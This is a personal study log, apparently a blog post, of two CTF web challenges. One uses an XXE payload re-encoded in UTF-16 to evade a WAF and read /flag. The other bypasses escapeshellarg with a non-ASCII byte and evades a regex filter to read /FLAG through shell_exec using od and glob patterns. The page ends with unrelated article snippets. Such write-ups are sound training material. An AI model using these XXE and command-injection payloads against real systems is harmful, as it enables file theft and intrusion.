5月23日学习记录

[CSAWQual 2019]Unagi

涉及:xxe漏洞,外来编码xml绕过

打开环境,发现存在文件上传

简单上传一个php

毫无疑问上传失败,说是存在waf,绕过waf才能上传,点击here看看

xml编码,可能存在xxe漏洞,并且user可以查看信息

既然可能存在xxe漏洞,就上传个xml看看

在引用外部实体后,上传还是被waf拦截,去查阅资料绕过waf保护的xxe

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
</user>
</users>

通过外来编码,原本对于xml的保存是用UTF-8编码保存的,现在改用UTF-16来绕过WAF

上传成功,但是flag回显不完全,user里面还存在另外一个变量

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
<intro>&admin;</intro>
</user>
</users>

 成功拿到flag

[广东强网杯 2021 团队组]love_Pokemon

 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?> 
一.读取hint.php

发现可以读取hint.php,但是要先满足switch的循环,post传参'myfavorite'等于'bulbasaur!',在满足一个if判断就能读取hint.php,要求在正则中不存在lv100,但是经过escapeshellarg处理后存在lv100

涉及到escapeshellarg函数

escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

 绕过escapeshellarg()

利用函数存在的漏洞:在处理超过ACill码范围的字符时,会直接过滤掉该字符;

所以利用不可见的字符来绕过escapeshellarg

选择用'%81'不可见字符绕过,第一层的payload

myfavorite=bulbasaur!&levelup=lv%81100

拿到提示flag在 /FLAG

二.读取flag

通过shell_exec,来命令执行读取flag,但是要考虑到前面的过滤,和字符串的长度

过滤了空格,flag和cat等命令,转义符也用不了

使用之前没有接触过的命令 od读取flag

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

我尝试用大写来绕过对flag的过滤,但是绕过不了,把L和A都过滤了,所以使用通配符绕过

flag在/FLAG下,所以替换为/F[B-Z][@-Z]G

之所以会用@-Z是因为@在A前面

不知道大家有没有疑惑为什么过滤的明明是'l''a',但是'L''A'也被过滤了,经过查阅发现了之前没注意的地方,这里的正则匹配是/express/i,这种匹配对于大小写不敏感,所以这里大写的FLAG绕过不了,大小写绕过的情况是对于大小写敏感的匹配时使用,也是做题的时候比较疑惑的地方

payload

myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

一串8进制数,转换为acill字符

ump = "0000000 051516 041523 043124 033173 062466 033060 061466 026467 0000020 032464 033144 032055 062143 026461 061542 032062 030455 0000040 062544 032460 032071 031545 060462 076542 000012 0000055"

octs = [("0o" + n) for n in ump.split(" ") if n]

hexs = [int(n, 8) for n in octs]

result = ""

for n in hexs:

    if (len(hex(n)) > 4):
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)

        result += swapped[2:].zfill(4)

print(bytes.fromhex(result).decode())

我看nss上有人说不存在的字符绕过escapeshellarg 时,回显不对,查看源码也没有hint,如果出现这种情况的话可以抓包再传一次参(是重新传参,不是重发啊),就可以,最后查看flag也是

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/633163.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Qt学习记录(十三)TCP通信,UDP通信 服务器和客户端

目录 前言&#xff1a; Linux下的TCP通信 QT下的TCP通信 服务器 ui 头文件 cpp文件 客户端 新建文件 ​编辑 ui 头文件.h cpp文件 现象 Linux下的UDP通信 QT下的UDP通信 ui 工程文件 头文件.h .cpp文件 现象 前言&#xff1a; 医疗猫猫&#xff01;猫好&a…

宿舍管理系统--毕业设计

毕业设计&#x1f4bc;MD5加密&#x1f512;SSM框架&#x1f3a8;Layui框架&#x1f384; 实现功能 管理员的登录与登出 管理员,班级,学生,宿舍&#xff0c;卫生&#xff0c;访客各模块增删改查 个别模块关联查询 各个模块数据导出Excel 一些截图

形态学操作:腐蚀、膨胀、开闭运算、顶帽底帽变换、形态学梯度区别与联系

一、总述相关概念 二、相关问题 1.形态学操作中的腐蚀和膨胀对图像有哪些影响&#xff1f; 形态学操作中的腐蚀和膨胀是两种常见的图像处理技术&#xff0c;它们通过对图像进行局部区域的像素值替换来实现对图像形状的修改。 腐蚀操作通常用于去除图像中的噪声和细小的细节&a…

three.js能实现啥效果?看过来,这里都是它的菜(05)

这是第五期了&#xff0c;本期继续分享three.js可以实现的3D动画案例&#xff0c;捎带讲一下如何将模型导入到three.js中。 如何将模型导入three.js中 three.js可以通过多种方式导入3D模型&#xff0c;以下是其中几种常见的方法&#xff1a; 使用three.js自带的OBJLoader或M…

【Kubernetes】kubectl详解

陈述式资源管理方法&#xff1a; 1.kubernetes 集群管理集群资源的唯一入口是通过相应的方法调用 apiserver 的接口 2.kubectl 是官方的CLI命令行工具&#xff0c;用于与 apiserver 进行通信&#xff0c;将用户在命令行输入的命令&#xff0c;组织并转化为 apiserver 能识别的…

UE5 双手握剑的实现(逆向运动学IK)

UE5 双手握剑的实现 IK 前言 什么是IK&#xff1f; UE官方给我们提供了很多对于IK处理的节点&#xff0c;比如ABRIK、Two Bone IK、Full Body IK 、CCD IK等&#xff0c;但是看到这&#xff0c;很多人就好奇了&#xff0c;什么是IK&#xff1f; 首先我们来看看虚幻小白人的骨…

yolov8训练自己数据集时出现loss值为nan。

具体原因目前暂未寻找到。 解决办法 将参数amp改成False即可。 相关资料&#xff1a; https://zhuanlan.zhihu.com/p/165152789 https://github.com/ultralytics/ultralytics/issues/1148

如何搭建一个vue项目(完整步骤)

搭建一个新的vue项目 一、安装node环境二、搭建vue项目环境1、全局安装vue-cli2、进入你的项目目录&#xff0c;创建一个基于 webpack 模板的新项目3、进入项目&#xff1a;cd vue-demo&#xff0c;安装依赖4、npm run dev&#xff0c;启动项目 三、vue项目目录讲解四、开始我们…

正点原子LWIP学习笔记(一)lwIP入门

lwIP入门 一、lwIP简介&#xff08;了解&#xff09;二、lwIP结构框图&#xff08;了解&#xff09;三、如何学习lwIP&#xff08;熟悉&#xff09; 一、lwIP简介&#xff08;了解&#xff09; lwIP是一个小型开源的TCP/IP协议栈 阉割的TCP/IP协议 TCP/IP协议栈结构&#xff0…

57. UE5 RPG 处理AI敌人转向以及拾取物品的问题

在上一篇文章中&#xff0c;我们实现了使用AI行为树控制敌人进行移动&#xff0c;它们可以一直跟随玩家&#xff0c;虽然现在还未实现攻击。但在移动过程中&#xff0c;我发现了有两个问题&#xff0c;第一个是敌人转向的时候很僵硬&#xff0c;可以说是瞬间转向的&#xff0c;…

【kubernetes】多 master 高可用集群架构部署

目录 前言 一、环境部署 二、master02 节点部署 1、拷贝相关文件 2、修改配置文件 3、启动各服务并设置开机自启 4、 查看node节点状态 三、负载均衡部署 1、部署 nginx 服务 1.1 编译安装 nginx 1.2 修改 nginx 配置文件 2、部署 keepalived 服务 2.1 yum安装 ke…

python打包exe,通过文件动态传参运行exe【拿来即用】

配置虚拟环境 安装包&#xff1a;pip install pipenv 创建虚拟环境&#xff1a;创建一个新文件夹&#xff0c;在此目录&#xff0c;打开cmd&#xff0c;输入&#xff1a;pipenv install&#xff0c; 进入虚拟环境&#xff1a;pipenv shell 安装所需的依赖包&#xff1a;pip in…

无人机监测系统:天空之眼,精准掌握地球脉动

在当今信息化快速发展的时代&#xff0c;无人机技术以其独特的优势&#xff0c;正在成为资源调查、环境监测和规划支持的重要工具。无人机监测系统通过搭载多种传感器和设备&#xff0c;能够快速、高效地获取地表信息&#xff0c;为决策提供科学依据。 项目背景 随着全球环境…

VScode解决报错“Remote-SSH XHR failed无法访问远程服务器“的方案

VScode解决报错"Remote-SSH XHR failed无法访问远程服务器"的方案 $ ls ~/.vscode-server/bin 2ccd690cbff1569e4a83d7c43d45101f817401dc稳定版下载链接&#xff1a;https://update.code.visualstudio.com/commit:COMMIT_ID/server-linux-x64/stable 内测版下载链接…

51建模网AR虚拟试用,让网购不再只靠想象!

在数字化的浪潮中&#xff0c;网购已成为现代人生活的一部分。然而&#xff0c;传统的网购模式常常因为无法直接试穿、试用商品&#xff0c;导致买家在收到商品后感到失望&#xff0c;特别是面对大件家居产品时&#xff0c;仅凭屏幕上的图片和尺寸描述&#xff0c;很难准确地把…

阿里云数据库 SelectDB 版全面商业化,开启现代化实时数据仓库的全新篇章

2024 年 5 月 21 日&#xff0c;由阿里云联合飞轮科技共同举办的「阿里云数据库 SelectDB 版商业化产品发布会」于线上召开。阿里巴巴集团副总裁、阿里云数据库产品事业部负责人李飞飞宣布&#xff0c;阿里云数据库 SelectDB 版在中国站及国际站全面发布&#xff0c;正式开启商…

Web应用防火墙的重要性

网络安全是一个永恒的话题&#xff0c;尤其是在未知威胁不断涌现的情况下。企业网络安全是保障业务稳定运行的基础&#xff0c;Web应用防火墙(WAF)是企业网络安全的重要屏障&#xff0c;其性能直接影响到网络服务的质量和安全。 Web应用防火墙是什么&#xff1f; Web应用防火墙…

RS8751XF功能和参数介绍及PDF资料

以下是关于RS8751XF的功能和参数的介绍&#xff1a; 功能描述: 高速、宽带单通道运算放大器 轨到轨输入和输出&#xff0c;确保较大的动态范围 极高的增益带宽乘积&#xff08;GBW&#xff09;&#xff1a;250 MHz&#xff0c;适合高频应用 极高的压摆率&#xff08;SR&#xf…

【UE HTTP】“BlueprintHTTP Server - A Web Server for Unreal Engine”插件使用记录

1. 在商城中下载“BlueprintHTTP Server - A Web Server for Unreal Engine”插件 该插件的主要功能有如下3点&#xff1a; &#xff08;1&#xff09;监听客户端请求。 &#xff08;2&#xff09;可以将文件直接从Unreal Engine应用程序提供到Web。 &#xff08;3&#xff…

Vision Mamba论文阅读(主干网络)

这几天被Mamba刷屏了&#xff0c;又由于本人是做视觉方面任务的&#xff0c;固来看看mamba在视觉上的应用。 今天分享的是Vision Mamba: Vision Mamba: Efficient Visual Representation Learning with Bidirectional State Space Model 论文网址&#xff1a;https://arxiv.or…